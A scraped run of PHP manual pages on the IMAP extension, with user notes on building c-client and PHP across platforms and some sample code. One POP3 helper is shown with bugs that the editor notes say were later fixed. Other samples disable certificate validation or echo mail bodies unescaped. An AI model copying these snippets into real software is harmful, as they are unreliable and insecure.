        foreach ($part->parts as $number=>$subpart)
            $attachments=array_merge($attachments, mail_get_parts($imap,$mid,$subpart,$prefix.($number+1)));
    }
    return $attachments;
}
function mail_decode_part($connection,$message_number,$part,$prefix)
{
    $attachment = array();

    if($part->ifdparameters) {
        foreach($part->dparameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'filename') {
                $attachment['is_attachment'] = true;
                $attachment['filename'] = $object->value;
            }
        }
    }

    if($part->ifparameters) {
        foreach($part->parameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'name') {
                $attachment['is_attachment'] = true;
                $attachment['name'] = $object->value;
            }
        }
    }

    $attachment['data'] = imap_fetchbody($connection, $message_number, $prefix);
    if($part->encoding == 3) { // 3 = BASE64
        $attachment['data'] = base64_decode($attachment['data']);
    }
    elseif($part->encoding == 4) { // 4 = QUOTED-PRINTABLE
        $attachment['data'] = quoted_printable_decode($attachment['data']);
    }
    return($attachment);
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "mn26826" on 09-JUN-2010, which fixed the erroneous reference to $imap as the parameter passed to imap_mailboxmsginfo() within the user function pop3_stat().  This was intended to be $connection.]

[EDIT BY visualmind AT php DOT net: Contains a bugfix by "elias-jobview" on 17-AUG-2010, which fixed the error in pop3_list function which didn't have: return $result]

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "chrismeistre" on 09-SEP-2010, which fixed the erroneous reference to $mbox (should be $connection) in the pop3_list() function.]
cyrus_unbind
Introduction
Mail Related Extensions


Introduction

These functions enable you to operate with the IMAP protocol, as well as the NNTP, POP3 and local mailbox access methods.

Be warned, however, that some IMAP functions will not work correctly with the POP protocol.

User Contributed Notes

Wil Barath 25-Feb-2010 07:58
For all the people coming here praying for:

1) a dead-easy way to read MIME attachments, or
2) a dead-easy way to access POP3 folders

Look no further.

<?php
function pop3_login($host,$port,$user,$pass,$folder="INBOX",$ssl=false)
{
    $ssl=($ssl==false)?"/novalidate-cert":"";
    return (imap_open("{"."$host:$port/pop3$ssl"."}$folder",$user,$pass));
}
function pop3_stat($connection)
{
    $check = imap_mailboxmsginfo($imap);
    return ((array)$check);
}
function pop3_list($connection,$message="")
{
    if ($message)
    {
        $range=$message;
    } else {
        $MC = imap_check($mbox);
        $range = "1:".$MC->Nmsgs;
    }
    $response = imap_fetch_overview($mbox,$range);
    foreach ($response as $msg) $result[$msg->msgno]=(array)$msg;
}
function pop3_retr($connection,$message)
{
    return(imap_fetchheader($connection,$message,FT_PREFETCHTEXT));
}
function pop3_dele($connection,$message)
{
    return(imap_delete($connection,$message));
}
function mail_parse_headers($headers)
{
    $headers=preg_replace('/\r\n\s+/m', '',$headers);
    preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)?\r\n/m', $headers, $matches);
    foreach ($matches[1] as $key =>$value) $result[$value]=$matches[2][$key];
    return($result);
}
function mail_mime_to_array($imap,$mid,$parse_headers=false)
{
    $mail = imap_fetchstructure($imap,$mid);
    $mail = mail_get_parts($imap,$mid,$mail,0);
    if ($parse_headers) $mail[0]["parsed"]=mail_parse_headers($mail[0]["data"]);
    return($mail);
}
function mail_get_parts($imap,$mid,$part,$prefix)
{
    $attachments=array();
    $attachments[$prefix]=mail_decode_part($imap,$mid,$part,$prefix);
    if (isset($part->parts)) // multipart
    {
        $prefix = ($prefix == "0")?"":"$prefix.";
        foreach ($part->parts as $number=>$subpart)
            $attachments=array_merge($attachments, mail_get_parts($imap,$mid,$subpart,$prefix.($number+1)));
    }
    return $attachments;
}
function mail_decode_part($connection,$message_number,$part,$prefix)
{
    $attachment = array();

    if($part->ifdparameters) {
        foreach($part->dparameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'filename') {
                $attachment['is_attachment'] = true;
                $attachment['filename'] = $object->value;
            }
        }
    }

    if($part->ifparameters) {
        foreach($part->parameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'name') {
                $attachment['is_attachment'] = true;
                $attachment['name'] = $object->value;
            }
        }
    }

    $attachment['data'] = imap_fetchbody($connection, $message_number, $prefix);
    if($part->encoding == 3) { // 3 = BASE64
        $attachment['data'] = base64_decode($attachment['data']);
    }
    elseif($part->encoding == 4) { // 4 = QUOTED-PRINTABLE
        $attachment['data'] = quoted_printable_decode($attachment['data']);
    }
    return($attachment);
}
?>
IMAP
Installing/Configuring
IMAP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

dale3h 13-Jan-2009 01:31
In CentOS:

yum install php-imap

Works like a charm!
LZZ 08-Dec-2008 10:11
On Gentoo:

edit /etc/make.conf and include imap to the USE flags,
then run

emerge php
AlexJ 18-Nov-2008 01:15
FreeBSD:

Install c-client only to support IMAP-SSL

cd /usr/ports/mail/cclient/ && make install clean
dlaplant at integresystems dot com 02-Sep-2008 01:24
For rhel4 add the libc-client-devel package
clay at scvalleypopcorn dot com 02-Aug-2008 12:38
apt-get install php5-imap

Works well also.... Enjoy
Josecito 27-May-2008 07:21
To install the IMAP module on Red Hat Linux Enterprise 4 (RHEL4):
- Open a terminal window
- If you're not root, become root with su
- type:
RPM -i php-imap
(RPM will download, install and resolve dependencies)
- restart your web server with:
service httpd restart

I hope this helps newbies (like me).
Introduction
Requirements
IMAP


Requirements

This extension requires the c-client library to be installed. Grab the latest version from » ftp://ftp.cac.washington.edu/imap/ and compile it.

It's important that you do not copy the IMAP source files directly into the system include directory as there may be conflicts. Instead, create a new directory inside the system include directory, such as /usr/local/imap-2000b/ (location and name depend on your setup and IMAP version), and inside this new directory create additional directories named lib/ and include/. From the c-client directory from your IMAP source tree, copy all the *.h files into include/ and all the *.c files into lib/. Additionally when you compiled IMAP, a file named c-client.a was created. Also put this in the lib/ directory but rename it as libc-client.a.

Note:

To build the c-client library with SSL or/and Kerberos support read the docs supplied with the package.

Note: In Mandrake Linux, the IMAP library (libc-client.a) is compiled without Kerberos support. A separate version with SSL (client-PHP4.a) is installed. The library must be recompiled in order to add Kerberos support.

User Contributed Notes

Anonymous 04-Oct-2011 10:58
When compiling IMAP on a 64 bit machine, use: make EXTRACFLAGS=-fPIC.
ldi at email dot cz 04-Aug-2010 10:09
After few hours of testing it on CentOS 5 64 bit I'd like to share the steps required to compile imap with php:

1. Install openssl:

   yum install openssl openssl-devel

2. If you don't have openssl compiled and installed in /usr/local/ssl create symlink:

   ln -s /usr/lib64/openssl/engines/ /usr/local/ssl

3. Add the libraries:

   ln -s /usr/include/ /usr/local/ssl/include

4. Compile IMAP

  cd /path/to/imap_src
  make lnp SSLTYPE=unix

5. Copy files as described above
 mkdir lib
 mkdir include
 cp c-client/*.c lib/
 cp c-client/*.h include/
 cp c-client/c-client.a lib/libc-client.a

6. Compile PHP
  cd /path/to/php/src
  ./configure --with-imap=/path/to/imap_src --with-libdir=lib64
Nick 02-Jul-2010 10:06
If you run into an error similar to the following when compiling / making PHP:

errno 0x21c /usr/local/imap-2007e/lib/libc-client.a(netmsg.o)
ld: fatal: relocations remain against allocatable but non-writable sections
make: Fatal error: Command failed for target `libphp5.la'

You need to recompile the IMAP library and add -fpic or -fPIC to your CFLAGS.

See:
http://bugs.php.net/bug.php?id=35465

Also, if you compiled OpenSSL from source, you'll need to do the same, as you'll get error messages for libc-client.a
sergio at 24x7 dot cl 22-Jun-2010 09:04
over Debian GNU/Linux 5.0 x86_64 we just need the following:
# apt-get install libc-client-dev

and enable kerberos support:
# ./configure ... --with-kerberos=/usr
...

after this the php configure was succesfully.
Yonas 03-Apr-2010 04:07
Recent version of PHP (at least 5.3.2) requires libc-client >= 2006.

Otherwise, you'll get an error similar to:

error: 'U8T_CANONICAL' undeclared (first use in this function)

http://bugs.php.net/40132
eelco at care dot nl 17-Mar-2010 02:12
Spent hours and hours on compiling PHP with IMAP support on CentOS 64-bit but after many trial and error sessions I got if fixed.

If you have set the '--with-libdir=lib64' flag and you encounter the the 'cannot find the c-client library' error while compiling, try to create a symlink 'lib64' to 'lib' in your imap installation dir.

Apparantly, PHP will search only in lib64 directories if the flag is set. This also applies on the IMAP library but documentation lacks on this point.
Installing/Configuring
Installation
Installing/Configuring


Installation

To get these functions to work, you have to compile PHP with --with-imap[=DIR] , where DIR is the c-client install prefix. From our example above, you would use --with-imap=/usr/local/imap-2000b . This location depends on where you created this directory according to the description above. Windows users may include the php_imap.dll DLL in php.ini.

IMAP is not supported on systems earlier than Windows 2000. This is because it uses encryption functions in order to enable SSL connections to the mail servers.

Note: Depending on how the c-client was configured, you might also need to add --with-imap-ssl=/path/to/openssl/ and/or --with-kerberos=/path/to/kerberos to the PHP configure line.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

jimbomorrison+php at gmail dot com 08-Jun-2009 02:23
If you're having problems compiling on Linux like this:

checking whether build with IMAP works... no
configure: error: build test failed. Please check the config.log for details.

... then try adding: "--with-openssl" to your switches.

Not quite sure why but here's where I found the idea:
http://bugs.php.net/bug.php?id=29783

HTH,
J
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

NIL (integer)
OP_DEBUG (integer)
OP_READONLY (integer)
Open mailbox read-only
OP_ANONYMOUS (integer)
Don't use or update a .newsrc for news (NNTP only)
OP_SHORTCACHE (integer)
OP_SILENT (integer)
OP_PROTOTYPE (integer)
OP_HALFOPEN (integer)
For IMAP and NNTP names, open a connection but don't open a mailbox.
OP_EXPUNGE (integer)
OP_SECURE (integer)
CL_EXPUNGE (integer)
silently expunge the mailbox before closing when calling imap_close()
FT_UID (integer)
The parameter is a UID
FT_PEEK (integer)
Do not set the \Seen flag if not already set
FT_NOT (integer)
FT_INTERNAL (integer)
The return string is in internal format, will not canonicalize to CRLF.
FT_PREFETCHTEXT (integer)
ST_UID (integer)
The sequence argument contains UIDs instead of sequence numbers
ST_SILENT (integer)
ST_SET (integer)
CP_UID (integer)
the sequence numbers contain UIDS
CP_MOVE (integer)
Delete the messages from the current mailbox after copying with imap_mail_copy()
SE_UID (integer)
Return UIDs instead of sequence numbers
SE_FREE (integer)
SE_NOPREFETCH (integer)
Don't prefetch searched messages
SO_FREE (integer)
SO_NOSERVER (integer)
SA_MESSAGES (integer)
SA_RECENT (integer)
SA_UNSEEN (integer)
SA_UIDNEXT (integer)
SA_UIDVALIDITY (integer)
SA_ALL (integer)
LATT_NOINFERIORS (integer)
This mailbox has no "children" (there are no mailboxes below this one).
LATT_NOSELECT (integer)
This is only a container, not a mailbox - you cannot open it.
LATT_MARKED (integer)
This mailbox is marked. Only used by UW-IMAPD.
LATT_UNMARKED (integer)
This mailbox is not marked. Only used by UW-IMAPD.
SORTDATE (integer)
Sort criteria for imap_sort(): message Date
SORTARRIVAL (integer)
Sort criteria for imap_sort(): arrival date
SORTFROM (integer)
Sort criteria for imap_sort(): mailbox in first From address
SORTSUBJECT (integer)
Sort criteria for imap_sort(): message subject
SORTTO (integer)
Sort criteria for imap_sort(): mailbox in first To address
SORTCC (integer)
Sort criteria for imap_sort(): mailbox in first cc address
SORTSIZE (integer)
Sort criteria for imap_sort(): size of message in octets
TYPETEXT (integer)
TYPEMULTIPART (integer)
TYPEMESSAGE (integer)
TYPEAPPLICATION (integer)
TYPEAUDIO (integer)
TYPEIMAGE (integer)
TYPEVIDEO (integer)
TYPEOTHER (integer)
ENC7BIT (integer)
ENC8BIT (integer)
ENCBINARY (integer)
ENCBASE64 (integer)
ENCQUOTEDPRINTABLE (integer)
ENCOTHER (integer)
IMAP_OPENTIMEOUT (integer)
IMAP_READTIMEOUT (integer)
IMAP_WRITETIMEOUT (integer)
IMAP_CLOSETIMEOUT (integer)
LATT_REFERRAL (integer)
LATT_HASCHILDREN (integer)
LATT_HASNOCHILDREN (integer)
TYPEMODEL (integer)
IMAP_GC_ELT (integer)
Garbage collector, clear message cache elements.
IMAP_GC_ENV (integer)
Garbage collector, clear envelopes and bodies.
IMAP_GC_TEXTS (integer)
Garbage collector, clear texts.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
IMAP Functions
IMAP


IMAP Functions

See Also

This document can't go into detail on all the topics touched by the provided functions. Further information is provided by the documentation of the c-client library source (docs/internal.txt). and the following RFC documents:

  • » RFC2821: Simple Mail Transfer Protocol (SMTP).
  • » RFC2822: Standard for ARPA internet text messages.
  • » RFC2060: Internet Message Access Protocol (IMAP) Version 4rev1.
  • » RFC1939: Post Office Protocol Version 3 (POP3).
  • » RFC977: Network News Transfer Protocol (NNTP).
  • » RFC2076: Common Internet Message Headers.
  • » RFC2045 , » RFC2046 , » RFC2047 , » RFC2048 & » RFC2049: Multipurpose Internet Mail Extensions (MIME).
A detailed overview is also available in the books » Programming Internet Email by David Wood and » Managing IMAP by Dianna Mullet & Kevin Mullet.

Table of Contents

  • imap_8bit — Convert an 8bit string to a quoted-printable string
  • imap_alerts — Returns all IMAP alert messages that have occurred
  • imap_append — Append a string message to a specified mailbox
  • imap_base64 — Decode BASE64 encoded text
  • imap_binary — Convert an 8bit string to a base64 string
  • imap_body — Read the message body
  • imap_bodystruct — Read the structure of a specified body section of a specific message
  • imap_check — Check current mailbox
  • imap_clearflag_full — Clears flags on messages
  • imap_close — Close an IMAP stream
  • imap_create — Alias of imap_createmailbox
  • imap_createmailbox — Create a new mailbox
  • imap_delete — Mark a message for deletion from current mailbox
  • imap_deletemailbox — Delete a mailbox
  • imap_errors — Returns all of the IMAP errors that have occured
  • imap_expunge — Delete all messages marked for deletion
  • imap_fetch_overview — Read an overview of the information in the headers of the given message
  • imap_fetchbody — Fetch a particular section of the body of the message
  • imap_fetchheader — Returns header for a message
  • imap_fetchmime — Fetch MIME headers for a particular section of the message
  • imap_fetchstructure — Read the structure of a particular message
  • imap_fetchtext — Alias of imap_body
  • imap_gc — Clears IMAP cache
  • imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox
  • imap_get_quotaroot — Retrieve the quota settings per user
  • imap_getacl — Gets the ACL for a given mailbox
  • imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one
  • imap_getsubscribed — List all the subscribed mailboxes
  • imap_header — Alias of imap_headerinfo
  • imap_headerinfo — Read the header of the message
  • imap_headers — Returns headers for all messages in a mailbox
  • imap_last_error — Gets the last IMAP error that occurred during this page request
  • imap_list — Read the list of mailboxes
  • imap_listmailbox — Alias of imap_list
  • imap_listscan — Returns the list of mailboxes that matches the given text
  • imap_listsubscribed — Alias of imap_lsub
  • imap_lsub — List all the subscribed mailboxes
  • imap_mail_compose — Create a MIME message based on given envelope and body sections
  • imap_mail_copy — Copy specified messages to a mailbox
  • imap_mail_move — Move specified messages to a mailbox
  • imap_mail — Send an email message
  • imap_mailboxmsginfo — Get information about the current mailbox
  • imap_mime_header_decode — Decode MIME header elements
  • imap_msgno — Gets the message sequence number for the given UID
  • imap_num_msg — Gets the number of messages in the current mailbox
  • imap_num_recent — Gets the number of recent messages in current mailbox
  • imap_open — Open an IMAP stream to a mailbox
  • imap_ping — Check if the IMAP stream is still active
  • imap_qprint — Convert a quoted-printable string to an 8 bit string
  • imap_rename — Alias of imap_renamemailbox
  • imap_renamemailbox — Rename an old mailbox to new mailbox
  • imap_reopen — Reopen IMAP stream to new mailbox
  • imap_rfc822_parse_adrlist — Parses an address string
  • imap_rfc822_parse_headers — Parse mail headers from a string
  • imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info
  • imap_savebody — Save a specific body section to a file
  • imap_scan — Alias of imap_listscan
  • imap_scanmailbox — Alias of imap_listscan
  • imap_search — This function returns an array of messages matching the given search criteria
  • imap_set_quota — Sets a quota for a given mailbox
  • imap_setacl — Sets the ACL for a giving mailbox
  • imap_setflag_full — Sets flags on messages
  • imap_sort — Gets and sort messages
  • imap_status — Returns status information on a mailbox
  • imap_subscribe — Subscribe to a mailbox
  • imap_thread — Returns a tree of threaded message
  • imap_timeout — Set or fetch imap timeout
  • imap_uid — This function returns the UID for the given message sequence number
  • imap_undelete — Unmark the message which is marked deleted
  • imap_unsubscribe — Unsubscribe from a mailbox
  • imap_utf7_decode — Decodes a modified UTF-7 encoded string
  • imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text
  • imap_utf8 — Converts MIME-encoded text to UTF-8

User Contributed Notes

Eelco 21-Apr-2011 02:41
I used the instructions from Chris (thanks Chris) to recompile the imap.so module for CentOS 5 (PHP 5.2.11). I didn't want to recompile all PHP extensions only imap.so.

So here is my version of recompiling imap.so for PHP 5.2.11 based on the instructions of Chris.

0) Install the dependencies
yum groupinstall "Development Tools"
yum install openssl-devel
yum install krb5 krb5-devel
yum install pam-devel
1) Create a temporary folder and cd to it.
# mkdir ~/php-imap && cd ~/php-imap
2) Download c-client.tar.Z
# wget ftp://ftp.cac.washington.edu/imap/c-client.tar.Z
3) Extract the c-client.tar.Z file, which would create the imap-2007e folder at this moment.
# tar -zxf c-client.tar.Z
4) Download php source code using. Use the version of the php installed on the machine (php --version)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package
# wget http://3es.atomicrocketturtle.com/packages/ php/php-5.2.11-3.art.src.rpm
# rpm2cpio php-5.2.11-3.art.src.rpm | cpio -idmv
# tar xvjf php-5.2.11.tar.bz2
5) Install php-imap plugin using or you can simply just add the php ini file for the imap.so extension
# sudo yum install php-imap
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client.
# make lr5  IP6=4
8) Go to the php source folder and run the configure script with the following arguments:
# ./configure --disable-all --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl --with-openssl=/usr
9) Compile php
# make
10) Copy/replace the imap.so file from the ./modules folder to the php module folder.
# sudo cp ./modules/imap.so /usr/lib64/php/modules
11) Restart Apache
# sudo /etc/init.d/httpd restart
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!
chris dot kistner at gmail dot com 06-Jan-2011 04:57
The IMAP php plugin doesn't work by default with Microsoft Exchange 2007 server, so I had to recompile php with the c-client without Kerberos support.

Also, I wanted to compile it as a shared library (imap.so).

The quick and easy way that I've used to do this on Fedora Core 13 & 14 x64 was:
1) Create a temporary folder and cd to it.
2) Download c-client.tar.Z from ftp://ftp.cac.washington.edu/imap/
3) Extract the c-client.tar.Z file, using 'tar -zxf c-client.tar.Z', which would create the imap-2007e folder at this moment.
4) Download php source code using 'yumdownloader --source php' *(a)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package *(b)
5) Install php-imap plugin using 'sudo yum install php-imap', or you can simply just add the php ini file for the imap.so extension
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client. I had to use 'make lfd IP6=4'
8) Go to the php source folder and run the configure script with the following arguments: './configure --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl'
eg. I used './configure --with-imap=shared,/home/chris/imap-2007e --with-imap-ssl'
9) Compile php by simply running 'make' *(c)
10) Copy/replace the imap.so file from the ./modules folder to your PC's php module folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php/modules'
11) Restart Apache: 'sudo service httpd restart'
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!

There are slight differences in achieving the same in Ubuntu 10.04 x64 (or perhaps other versions too):
4) Download php source code using 'apt-get source php5', which will create a php5-* source folder
5) Install the php5-imap plugin using 'sudo apt-get install php5-imap'
7) Compile c-client. I had to use 'make ldb IP6=4'
10) Copy/replace the imap.so file from the ./modules folder to your PC's php folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php5/20090626'
11) Restart Apache: 'sudo service apache2 restart'

* Notes:
(a) yumdownloader is part of yum-utils package, which can be installed using 'yum install yum-utils'
(b) You can extract the rpm file using 'rpm2cpio php-*.src.rpm | cpio -idmv'
(c) You can greatly improve the compilation speed on a multi-core PC using 'make -j `grep -c ^processor /proc/cpuinfo`'
Syd Miller 23-Apr-2010 03:00
If you're looking to access an IMAP server but your server does not have the IMAP-Extension installed (and you aren't an administrator), you'll have a few other options:

2) Access the IMAP Server using your server's Shell (this is assuming that you're Web Server and IMAP Server are (on) the same server).

3) Create your own IMAP-handler using fsockopen(), fgets(), and fputs().

The problem with option '2' is that, while it is possible, it is extremely difficult to accomplish. With that said, you might be better off using a class that has already been written for this purpose. A simple query into a internet search-engine of "PHP IMAP Class"
samo_remec at volja dot net 12-May-2008 11:14
<html>
<head><title>Mail</title></head>
<body>
<table><tr><td>
<?php
$host='{mail.example.com/notls/imap4}INBOX'; //Host to connect
$user='user';
$pass='password';
$from='someone@example.com'; //Mail to send from

$mail=@imap_open($host,$user,$pass) or die("Can't connect: " . imap_last_error());

if($_REQUEST['delete']) {
    $number=$_REQUEST['delete'];
    imap_delete($mail,$number);
    imap_expunge($mail);
}

if($_REQUEST['see']) {
    $number=$_REQUEST['see'];

    echo "<pre>";
    echo imap_body($mail,$number);
    echo "</pre><p>\n\n";

    echo "<a href='javascript:history.back()'>Back</a>";
    echo "<br><a href='page.php?delete=$number'>Delete</a>";

} else {
    if($_REQUEST['create']=="new") {
        if($_POST['send_m']) {
            $to=$_POST['to'];
            $subject=$_POST['title'];
            $message=$_POST['mail'];

            imap_mail($to,$subject,$message,"From: $from");
        }
        ?>
<form method=POST>
To: <input type="text" name="to"><br>
Title:<input type="text" name="title"><p>
Mail:<br>
<textarea name='mail'>
</textarea><p>
<input type="submit" name='send_m'  value='Poąlji'>
</form>
    <?php
    } else {
        $mails=imap_num_msg($mail);
        echo "<b>" . $from . "</b> : ";
        if($mails==0) {
            echo "<i>no mails.</i>";
        } else {
            echo "$mails mails<p>";

            for($i=1;$i<=$mails;$i++) {
                $chead=imap_headerinfo($mail,$i);
                $mid=ltrim($chead->Msgno);

                echo "<a href='page.php?see=$mid'>";

                echo $chead->subject;
                echo "</a>";
                echo "<br>\n";
            }
        }
        echo "<p><a href='page.php?create=new'>New mail</a><p>";
    }
}
imap_close($mail);
?>
</tr></td></table>
</body>
</html>
bigben3333 - gmail 22-Feb-2008 06:23
I've tried to compile php with imap sources for 2 days on a mandriva 2006 and it never work...

I succeed only when i uninstall the following RPM witch was already installed on my system :

libc-client
libc-client-devel
imap
imap-devel

here is my configure command :

./configure  --with-apache=/usr/local/apache --with-dbase --with-filepro --enable-mbstring --with-xml=/usr/local/php --enable-ftp --with-db --enable-bcmath --enable-calendar --with-mysql --with-zlib-dir --enable-trans-sid --with-imap=/usr/local/imap-2004g --with-kerberos --with-imap-ssl --with-openssl --enable-sysvsem --enable-sysvshm
kvazitron at gmail dot com 11-Feb-2008 02:48
I successfully installed c-client and compiled php 5.2.5 with imap on FreeBSD 6.3. To get this stuff work, i did following steps:

1) to install c-client:

download and uncompress c-client.tar.Z to folder /usr/local/
cd /usr/local/imap-2007
make bsf
mkdir include
ln -s c-client include
mkdir lib
cd lib
ln -s ../c-client/c-client.a libc-client.a

2) to compile php:
add this options
--with-imap=/usr/local/imap-2007 --with-imap-ssl
mogmios at gmail dot com 19-Oct-2007 12:36
In Fedora Core 6 64 bit w/ a custom compiled copy of Apache and PHP 4 I had to add packages libc-client*x84_64 and then just used config options --with-imap --with-kerberos --with-imap-ssl.
gpayne at galenaparkisd com 07-Aug-2007 12:48
You can also use the novalidate-cert flag and it won't bother you about the ssl stuff:

$mailbox = imap_open("{localhost:143/imap/novalidate-cert}INBOX", "user","pw");
mleiv 26-Jul-2007 04:12
MAC OSX advice for those less experienced in UNIX.

I had a lot of trouble with all the advice here, but I finally got it working, so I thought I'd leave my steps.  If you know a decent amount about UNIX you can probably do better on you own.
#1) downloaded version listed by php.net above.
#2) ran "make opx" on it (the three-letter is your OS, opx is later osx versions)
#3) copied resulting c-client/ folder to where I wanted to leave my imap stuff, herafter referred to as IMAP_HOME.
#4) renamed IMAP_HOME/c-client/c-client.a to libc-client.a
#5) ran "configure" on php using --with-imap=IMAP_HOME --with-kerberos  --with-imap-ssl (my configure insisted that I use the last two)
#6) make, make install, and restarted Apache.  Voila!

At this point you can delete the downloaded imap stuff, or move it to your sources/ folder or whatever.
bogdanderen at mail dot ru 07-Jul-2007 06:41
INSTALLING IMAP
   1. Log in as root:
      su -
   2. Download IMAP installation
   3. Untar the package:
      tar -zxf IMAP_PACKAGE_FILENAME
   4. Enter the source directory:
      cd IMAP_PACKAGE_DIRECTORY
   5. Build the package.
      # edit Makefile EXTRACFLAGS=-fPIC
      # make lrh
   6. Install the lib and include files:
      # mkdir /IMAP_DIR/lib
      # mkdir /IMAP_DIR/include
      # cp -r ./src/c-client/*.h /IMAP_DIR/include/
      # cp  ./c-client/linkage.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.c /IMAP_DIR/lib/
      # rm -rf all files and directories except /IMAP_DIR/include/ & /IMAP_DIR/lib/
   7. Create the osdep.h link:
      Linux:
      # ln -s ./include/c-client/os_slx.h \
      /IMAP_DIR/include/osdep.h

INSTALLING PHP (DO NOT --with-kerberos)
    --with-imap=/IMAP_DIR
eeescalona at yahoo dot com 20-Feb-2007 12:49
fyi.

I had an error during this process

*downloaded from ftp.cac.washington.edu  imap-2006e.tar.gz
*untarred it as /usr/local/src/imap-2006e.
*made lrh (make lrh)
*copied /usr...imap-2006e/c-client/c-client.a into ..../client/libc-client.a
*cd /usr/local/src/php-4.2.1/
*configured php using ... --with-imap=/usr/local/src/imap-2006e --with-ssl

*and during make the following error occurred.

php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
make[3]: *** [php_imap.lo] Error 1
make[3]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/local/src/php-4.2.1/ext'
make: *** [all-recursive] Error 1

apparently, apache 4.2.1 and imap-2006e has the same declared function which creates a duplication problem. the utf8_mime2text function is both found on files:

php-4.2.1/imap/php_imap.c (2 occurences)
imap-2006e/c-client/utf8aux.h (1 occurences)
imap-2006e/c-client/utf8aux.c (1 occurrences)
imap-2006e/c-client/mail.c (5 occrences)

bug fixers says i have to upgrade my php, but I cant afford to change versions since i run some home grown developed php software which doesnt work on higher versions.

So I did this.

I replaced all utf8_mime2text texts with utf8_mime2text2 for the imap sources.

since my server is both web and mysql, i used a built in mysql command called 'replace'

$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.h
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.c
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/mail.c

then i continued make and make install, without the reported error.

caveats...i just did this to try it. i dunno if it will work later...
couplewith at interpakr dot co dot kr 12-Feb-2007 05:37
imap-install
  1. tar xvzf c-client.tgz
  2. cd imap-2006e
  3. make lrh    # install redhat linux
  4. cp c-client/c-client.a  /usr/local/lib/libc-client.a
      copy head files
      c-client/rfc822.h, mail.h 과 linkage.h
       /usr/local/include
       c-clinet/utf-8.h /usr/local/include
  5. if  U8T_CANONICAL undefined error
      edit php_src/ext/imap/php_imap.c

==add 53 line ==
#include <time.h>
#include <stdio.h>
#include <ctype.h>
#include <signal.h>
+#include "utf8.h"
   6. make php installatin step
Marplatense 23-Nov-2006 08:52
Compiling php with support for imap on a linux 64 bits server (tested with php 5.1.6, php 5.2.0, CentOS 4.4 64 bits and c-client snap 0611201609):

1- download the imap from ftp.
# tar -zxvf imap-2006d.DEV.tar.Z
# cd imap-2006d.DEV.SNAP-0611201609/
# vim MakeFile
2- Search for "EXTRACFLAGS=" and add -fPIC at then end:
    before EXTRACFLAGS=
    after   EXTRACFLAGS=-fPIC
3- save the file and quit
# make lrh
# cd c-client/
# cp /.../imap-2006d.DEV.SNAP-0611201609/c-client/c-client.a /.../imap-2006d.DEV.SNAP-0611201609/c-client/libc-client.a
4- navigate to your php directory and:
# ./configure ... lots of options here and ... --with-imap=/.../imap-2006d.DEV.SNAP-0611201609 --with-imap-ssl
# make
# make install

Additional notes:
a- I choose "lrh" in the make but you might check what's yours option.
b- I made it with ssl support and because of this I added the --with-imap-ssl in the php configure option. You might make it with no SSL
James Triplett <jm-php at vj8 dot net> 05-Apr-2006 07:50
Building Apache2, PHP and IMAP requires a shareable version
of the c-client library, but the standard UW code doesn't provide one.
I couldn't find any way to build with the libc-client.a without generating piles of relocation errors. (gcc on Solaris 10)

The IMAP c-client library can be built shareable with the following steps:
1. fix the Makefile in .../imap-2004/c-client to include:
BASECFLAGS="-fPIC -O3"
2. make
3. mkdir tmp
4. cd tmp
5. ar xv ../c-client.a  (to extract the .o files)
6. gcc -shared -o c-client.so *.o  (to create the .so library)
7. copy that c-client.so to /usr/local/imap/lib/libc-client.so
    (it may be necessary to hide the libc-client.a)
8. configure PHP ; make; make install
info at toyflish dot de 15-Dec-2005 02:26
if you are on SuSE9.3 64 and still compiling errors you have to add the -fPIC flag to the  EXTRACFLAGS in imap-Makefile.
BjarneDM macintosh at mathiesen dot info 20-Oct-2005 12:49
Mac OS X client install notes with DarwinPorts

